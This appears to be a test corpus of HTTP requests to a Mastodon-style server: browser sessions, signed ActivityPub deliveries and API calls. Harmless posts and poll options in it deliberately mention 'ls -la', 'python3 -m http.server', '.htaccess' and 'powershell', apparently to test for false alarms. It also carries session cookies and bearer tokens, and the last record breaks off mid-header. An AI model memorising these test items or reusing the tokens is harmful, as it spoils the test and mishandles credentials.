{"method": "GET", "target": "/settings/preferences/appearance", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzYuMzM2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--525c8dfe218350761c42e9036f350133fedb1d8b; _mastodon_session=%2BfyWrSrOkbLB5%2BTaHxv4BeL33sDgPkGfdmAq81LrDrzpfXpCALhGtyvAjpvsPM%2BumHLhptcnA4T48AyWJjEBLwsCDloIZ0%2Fx7Td%2Fpf7v0XCdoEvkL%2FF3DNgcMsT1dD6zX1%2BP4V2t3on%2BSQ2L2500xt8QXlGCtVLd%2FqoytaeYBFq0LOEhxV0Wy%2F4hLg%2BcCRISlznrUXwuPWAsdaGSLSHZIkj3m42qWbxJE9rsImqfWZD0XV48DCjDwCEMXXQWXGR%2BgjD7pMBFbv74scJ%2BTR7GtMiN%2FzTWPkCzKjhkxyxR6PBHPym4Mocfu1ANHLiw5xuUEO8allE%2FoXos0sVl1YlmmeRXTckk%2B3s0kZdTIwmcQSA1p7Y6S54oNIIgN3w9NRg%2BLXsFOcEs%2BOM%2F--U%2BuwBJe7Sfx%2B0z0Z--lK8Wh6XPD70JhoUAbAxi%2FA%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/auth/sign_out", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 120", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/preferences/appearance", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzYuNzcyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--07fc69c11927e9226137db1d8ff961cce5037f48; _mastodon_session=4U4XinCMo3%2F3PCSbmw3qSlkfVVxI%2FcAklV3idWD25xgwG%2Bl%2FoRLAiwT3B51q7zz6TILyvgYehuy1kyuajv121pcRqzGczwCzj4NZyVelwpeFktM2B524HxTtWo3EluYvAs8iJIPg2fUwL%2B%2Fbb6WYNXNcEEE8i0OvAzYeSl9UvAlRBxuWSjkp%2Bib7R9LxEWwOTrNckwGr1zOEPF9n2lDWgV3tzoLB4SC9hnX9KBjESl7KBAcKVl%2FYK1AwoXAwwT8VT5RrutbCVLJr1zYOjzGV6dIWXwJ8u8DAWkaLkLU2zJIrgCeNxrUlzU2pbj4VDxdMaA7G8T6FglNm30w1sEypESvnTcjW1OXgzQjSgphgjowz1JgdAuvW7OanF4EB%2B3HYLfoasF7xudva--jemseh9kirfHooQK--wT%2B4lCY8B73hijkkDTg4cg%3D%3D"], "body": "_method=delete&authenticity_token=Ukx6K959crH1oidfhE2YoA-mabDq4PPMSVJ8ccdJOm9gj6p8AkuGJSUX7gscfTHAs5red_wXbumer2FIhKaT_g"}
|
||||||
|
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 2483", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 01:02:49 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=FZROQqjDOKyPDl7fKcxNMM1bgBOj8ITDHNSklfJiWew=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"Yl6d6XaxNtokT6lWdDq2rHd59TYcY9Rz35DZEElrTTc2y9s27SfqjZHMxNgR8N/Q7Q/JItRG4okpCGGIMNq97AeEoce6EHrXfrggKdECJqw/VmMlB9Lz5xIOydPlSN9of++33Sd9H23GRWyv/xyAPLafpAQayVM3VKbu+KugRNBxt6M1JIHGy3KvkPQIs/YXUGTy8L8+Ha4Imf1E5i//aV831IPTXjJzjTFn41i/F4lmQGuOcaZLyAZfsTaXotHzEy6wYXcI7xET7wZC2vDmzdHqEFfFVK7ZkEUrCu0iDyPoX19sB6An4bKozf3E43ahKQXISu65RuPucFVGYAdZYA==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice/statuses/300/activity\",\"type\":\"Create\",\"actor\":\"https://remote.example/users/alice\",\"published\":\"2026-11-09T13:00:00Z\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\"],\"object\":{\"id\":\"https://remote.example/users/alice/statuses/300\",\"type\":\"Note\",\"summary\":\"python3 tips\",\"inReplyTo\":null,\"published\":\"2026-11-09T13:00:00Z\",\"url\":\"https://remote.example/@alice/300\",\"attributedTo\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\"],\"sensitive\":true,\"content\":\"<p>Today I learned: <code>ls -la ~/.config</code> lists hidden files, and <code>python3 -m http.server</code> serves a folder. <a href=\\\"https://example.org/notes\\\" target=\\\"_blank\\\" rel=\\\"nofollow noopener\\\" translate=\\\"no\\\"><span class=\\\"invisible\\\">https://</span><span class=\\\"\\\">example.org/notes</span></a></p>\",\"contentMap\":{\"en\":\"<p>Today I learned: <code>ls -la ~/.config</code> lists hidden files, and <code>python3 -m http.server</code> serves a folder. <a href=\\\"https://example.org/notes\\\" target=\\\"_blank\\\" rel=\\\"nofollow noopener\\\" translate=\\\"no\\\"><span class=\\\"invisible\\\">https://</span><span class=\\\"\\\">example.org/notes</span></a></p>\"},\"attachment\":[{\"type\":\"Document\",\"mediaType\":\"image/png\",\"url\":\"https://remote.example/media/1.png\",\"name\":\"Screenshot of ls -la and .htaccess in a terminal\",\"blurhash\":\"U00000fQfQfQfQfQfQfQfQfQfQfQ\",\"width\":16,\"height\":16}],\"tag\":[]}}"}
|
||||||
|
{"method": "POST", "target": "/ap/users/117589326485981102/inbox", "headers": ["Content-Length: 2418", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 01:02:49 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=vFLr2RLu0uEAeVCCuYa+j6TFkgcF0xRsZpEK+N/VjMQ=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"I2NQZYk09uAsBoNCEScK3R9TV7jzfppw3wU7DYY5Uk6iY15CWuwQrv2MOolisviZb5R/q1pSaqXweZUs1zgDqglab6errhKWJfyalsJD4wfb4tYxgDAe3RW8OS3phlfb2VA6Flau4YyB6Lkz+wM8P14i6s/Vxu72Is1CBmcNa69QKAt7SQX5PrSpX5gPX4tFrFPmYd+NacuSi/ObLKdhtQTktFbLAz91tmfUqkrHSnvi/gXTqP9eS1ZDE2Ipbg/d34rYJE6En+iZvqe3gewQSLcru+IejLa6rM/uLG1Nss7FkhYJm6Jympj40jU0lHETEmdYczmrqDQikgCSLztkLg==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice#updates/2\",\"type\":\"Update\",\"actor\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"object\":{\"@context\":[\"https://www.w3.org/ns/activitystreams\",\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice\",\"type\":\"Person\",\"preferredUsername\":\"alice\",\"name\":\"Alice powershell\",\"summary\":\"<p>python3, powershell, ls -la and .htaccess</p>\",\"inbox\":\"https://remote.example/users/alice/inbox\",\"outbox\":\"https://remote.example/users/alice/outbox\",\"followers\":\"https://remote.example/users/alice/followers\",\"following\":\"https://remote.example/users/alice/following\",\"endpoints\":{\"sharedInbox\":\"https://remote.example/inbox\"},\"url\":\"https://remote.example/@alice\",\"publicKey\":{\"id\":\"https://remote.example/users/alice#main-key\",\"owner\":\"https://remote.example/users/alice\",\"publicKeyPem\":\"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAh+7JMlOpvG2A1pJ0awX6\\nHkaPXyLYm8oOQwSGGgEi0e9WjAPXSTh1u3kc51VhRSP4JwYPf3Nr34a/EfygI1/K\\nw9Y79VHdHIe6R9Cjrt/ixm66Glnr7hniJoCyAL3ZcrEJ/Qvxqw5wzOEpNlNA6j76\\nX8rKtoiczVguVN6JhSDvA3kdIgdONCvRC+4Q9/bH/MLESPKJTDS0kno1NngAg9CZ\\nd/X2sIFdkygIdQrUeYoAhE8+m0dS4y6dEV2ue9GGPMG2irdXNDvonndjoNaGJ8zP\\nlo9LRZETB/HkpdB44XKjhXyvORG/qId98r4Is1UTr5kAyip0tNifO2SCyp6j5Dgb\\n7wIDAQAB\\n-----END PUBLIC KEY-----\\n\"},\"attachment\":[{\"type\":\"PropertyValue\",\"name\":\"python3\",\"value\":\"ls -la\"},{\"type\":\"PropertyValue\",\"name\":\".htaccess\",\"value\":\"powershell\"}]}}"}
|
||||||
|
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 1942", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 01:02:49 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=2XyvDyxRB33iLUf2kxoHCSaliLQDc7bjONSJFwmCrPc=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"VUSxO7sGjpJB4UOgCh9pBZ4lPsaTutm7yomVdVIrMZE4tdVOYMWvvCS4AItAwu75LYTMg67rYLM4sKWC4VvSsbQX0OZ8DfLXnkotPJ3sc3bRz8AXwlMzfslEJWTdWDcayJJP68zrU/GdwPYzdEsVbAMOaA7nbuljksZ4bfA5p23G4jZvMSCfA+tcgi3XLMbOruQ0tes6Zlzr90yRrZK3AipNUU0eZ779XyPrTXVsSff7Nkh8/7+P9VHSuVx9EWKTBX1cWzppkTM37lQyccjoT8zyMAYMPt4JPcuqyOYv2ecRKPDpszGkb60YyU1duJwnYJgWjERAhbdVYtQ5LbFYRQ==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice/statuses/301/activity\",\"type\":\"Create\",\"actor\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\",\"https://example.com/ap/users/117589326485981102\"],\"object\":{\"id\":\"https://remote.example/users/alice/statuses/301\",\"type\":\"Question\",\"attributedTo\":\"https://remote.example/users/alice\",\"published\":\"2026-11-09T14:00:00Z\",\"endTime\":\"2026-11-12T14:00:00Z\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\",\"https://example.com/ap/users/117589326485981102\"],\"content\":\"<p>Which?</p>\",\"oneOf\":[{\"type\":\"Note\",\"name\":\"python3\",\"replies\":{\"type\":\"Collection\",\"totalItems\":0}},{\"type\":\"Note\",\"name\":\"powershell\",\"replies\":{\"type\":\"Collection\",\"totalItems\":0}},{\"type\":\"Note\",\"name\":\"ls -la\",\"replies\":{\"type\":\"Collection\",\"totalItems\":0}},{\"type\":\"Note\",\"name\":\".htaccess\",\"replies\":{\"type\":\"Collection\",\"totalItems\":0}}]}}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 186", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: 6f1c2b0e9d8a4c3b"], "body": "status=Today+I+learned%3A+%60ls+-la+~%2F.config%60+lists+hidden+files%2C+and+%60python3+-m+http.server%60+serves+a+folder.+https%3A%2F%2Fexample.org%2Fnotes&visibility=public&language=en"}
|
||||||
|
{"method": "GET", "target": "/@admin/117589811962372311", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:37 GMT", "Accept-Encoding: gzip", "Accept: application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\", application/activity+json, text/html;q=0.1", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"dKQrZ6jG4+YkuO5qmP9Wdnf48/1ZZYYIHtH6zH7OeVb+O3SKJ9e80S0Fd1Y4rvapQ/YGVJQJHFfX026o/esvwpPM3ai0NWe3OzCZKDx7oDw8dko2JR2qwmKsjZF13HMu8EVTR4FyQ6bs77EVSefEUV54YsVw5zqcY3gb9QFmXCZ3uzJWp2UoCkhNlS9cN0JA9M8LzTtcGhD39aOVaUE0/aR7HYI19Vxa6BE/zS8lNdzhNSdaBcPHwPasrRw21CkvPf2Ols3o9EshfhnnW+OLvXDJMG7ERvt7Ygrk64rAKy33EkgSDVruDM/o6oKLkgjd6HA/pEMlcvNeSa2IccRxHw==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ap/users/117589807329949956/statuses/117589811962372311", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:37 GMT", "Accept-Encoding: gzip", "Accept: application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\", application/activity+json, text/html;q=0.1", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"JJBWzFWKAajFgcdkCWTwq09jTa5iyYc/IC1cHlxTLf74x6TKaVicg8IYOOHdouCDzq/CcegBlPf2+gZkWAQWr7FG14PHYIDyRIJzXW58/0qm3GxUp/n4Er98EEYO5Qhp10VYi3OYKnqj08v9Ni0xBQaABtWBignvzpz25QCTDxs9E0LuT+hEUqWshbKNWevGa3yOHHn2tXaYdjEenBBwqZ/6g/DICEdow2zfZUrUjjvfTElPmm88vpU+tyjFrf/Ad7Bg7RJfSiBTpAJurZJMcoB9fPCbZmWt3K4kbZkKFJXOsaahVQpVr8ymoGltePmCcsGlFcOEz8R97GIAIDnhAA==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ap/users/117589807329949956", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:37 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"LaaPjuzwQwcEWyGCPWbY9D5Tlz8XnlGtrMNqNCPTLyfZLDQaGkC0pHRJyOAbZ3FtfNzMzMZFhI+4kqPnowFPnmM786caaLZg7D98tk8t4hJ4N++cL2+Cs8BrD1F8C6aj01Rh0tb7VR8H7JPkq732iutN0Kjauc9Cn3nuUS1u/dXtVvG5oVMhDBjhhxkceU7n2JKtKmdGvWpKvE8hG/jDI5iaiDOcminb9nYF1Tt/SkP2EyoKMXByFUgajxjCwGojKDixP6cTwRfpPVnFqRSY6lmBTv7B1aSXVdrKzHo7sdcrviPPD4BGDQtd9bFGVLlcFt3VfMxXRcljhAomSUJ+Jw==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/.well-known/webfinger?resource=acct:admin@example.com", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:38 GMT", "Accept-Encoding: gzip", "Accept: application/jrd+json, application/json", "Connection: close"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ap/users/117589807329949956/outbox", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:38 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"RxsP8J109UjnYQVH+A1UT6GdTmBMSUzKUkggbkNcCN8ELuiQT6OnHyQrtk3I1l+6A+zp8h631URDanT90ADKxheG18/soZAaL3ySwLPOtQuOYWtS3FMNINvuMuJAvh5xiC0N3140DsR+h3XAZa6soxqX5nn4bpGHY46LwBo6GnxXGxdOd+xAuDh6OZ/e8vt/Vhwzw1wox7kFUAibo8qGD3eu6hy6aPMW/jWR35UYidmBwlJNuGfof1RZcMlAeBQ+1EbZhDvczU2+OJVXsxv5icgHyqxThKZlNeE9eet+j6btq6deuXtCuHJBleGFk8EjUCwzEn6oyOJFh7KMs0PexA==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ap/users/117589807329949956/following", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:38 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"K/U4vf1XHZJCbRedVX+/hx3kmkuvWPdInYTCSGv0c5bxJjlb9Xb6JAPgcfxQZ6bfgrWYIw935SVBBW3H/T4V+NCAfN5Trn8j6lfZXTfhmOUYOOiL5bhV9wvYJ87YYolUPAISSi7tmpm8U5qYXI/EPNWf/3EUp2DokAtdqApWCaYa+rInXLOd9wXJe1NDsSzN/L/ajnJqnp3DYCVwJz+adLiwLlbFBH2KiVe1LYjN9aTWidKGlcdF8ktj8ZEYyvspm2TBvDSvCrQN2clwDZhPvBOl1ediGmAgQl35O5ZSJNJh/4NXZ8c6hHady2Mh6g35bn0qFdf5qA9X8+Gwh0YhXQ==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ap/users/117589807329949956/followers", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:38 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"MDNE5OLMqY6wMcUAYbRvyVbp8mwlgLnakWdHaZtB27TP1tNA7Prx4F1OmDWkU4orpGGyEI+B6HGhFZjZzsqbVq6mO8qQLZTtHwoqsbgAQcE8T1+DATZGaiMFrZ7Lx0ND0ecLVNttko4XOkzYVe4NvDO18aPDKEdmjXTBy50O8VqB7eTjs+6teFb/NOhW+ThlnAGtWjXnlXQfgUbSBFpig4SCk58rjl3e6pMvDIh2P0hu+SwfUIAJVfw7BXkcZI+4GmbQt0goPOUlyxrZHVO/0PcrXuMClZVombyK38fh1RCJ/uG8KcuwGuV0VEV73ixGzHHboEHl1FuyfSfWqMQ4hw==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/@admin", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:39 GMT", "Accept-Encoding: gzip", "Accept: application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\", application/activity+json, text/html;q=0.1", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"FCt71nGVlVl+6AweeTPeDH9ZG8lCBJNntNeZx3hbPV+ATRNYFJotP6mdVmhfpHOt8XdZ4ucfyvgalNmrwBMWLRE9Qb5IFDT4mnmMmJVBrBmpN2yvrtz4xCvxLHqpojGQnBboJZzAC+gMu5dHKeNvbBnZmRc9773A+CAcdY/laDn/i1kfZGjAuD9EUoI38JAXoKr95gtGWnRNENKOh3X2sQvIhIhFrEbJq2nO6uMJVe9Jmo5pGCsQe+Q2lgm5uZg6o6M+fKWKD6ddzP+Yi9+WImgoPSWZ8/kcUhwVkhF0reOX3IQFs2J3VLQcmdTsGTougTfX+wwkOIG9v4Vy206MeQ==\""], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/api/v1/media/117589824807968974", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 66", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 3ttC61ulg7A3ZGNI5eGttLra8QXUtXCV1hpEp9J764VwbYSsNnjJBIYIkRJ01GpYPf8e1HN2zL7RymZsTnzZbw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6Mzg6NDkuOTg2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9d772392075eeb29a62948fb860ec714d746270b; _mastodon_session=3l5QUeLWwQXRjJq9DuiWsEDx9NKG1Psl7NxHan%2BAmBP4j6qnt5NFFhEgNVvz%2BDncCq%2BspIp4AWE%2BgoY%2FnIujpWCehke2x%2FId1FzmxZrO1BAvK5%2BKVFOFIJoHUg%2FPizvshOOUVh5%2BUafxNOZBvFqtMiiVjx%2FsdVE%2Fh%2FHp4R0xUJPNZKJrh%2FMRHo2bmbcsNXDkENSNDjSzKMYil26nIavU6abTOwzh8qwSdNAUXox6qVDjN3F6HCQOSmM4F5qtzyyi446omUuMdIdObD%2FG8XvyhnM72SFe7FSDPoHh5u7NW7McKGKWJdeHsyosRftFCTlrjwlkIX9FcEuKOmfQEUEA7c0Eb4B42gZGjd2CzB2VFQl7SBdv%2B4LQSmVSQ1PSn8XPang%2BA8BpJm6H--WTmaRvSWNSoA9qzj--liGaw9d%2BNBC3zURO6bMCqA%3D%3D"], "body": "{\"description\":\"Blue water by the river path\",\"focus\":\"0.00,0.00\"}"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/media/117589825440074314", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 93", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: _IjtdHz8tspmJruPJ8DguLxhPIElIIu5r3UZgzgrxmZSPiszESH8ftdKSdW29SdUO0TTUILjN5KopTtIpCz0jA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 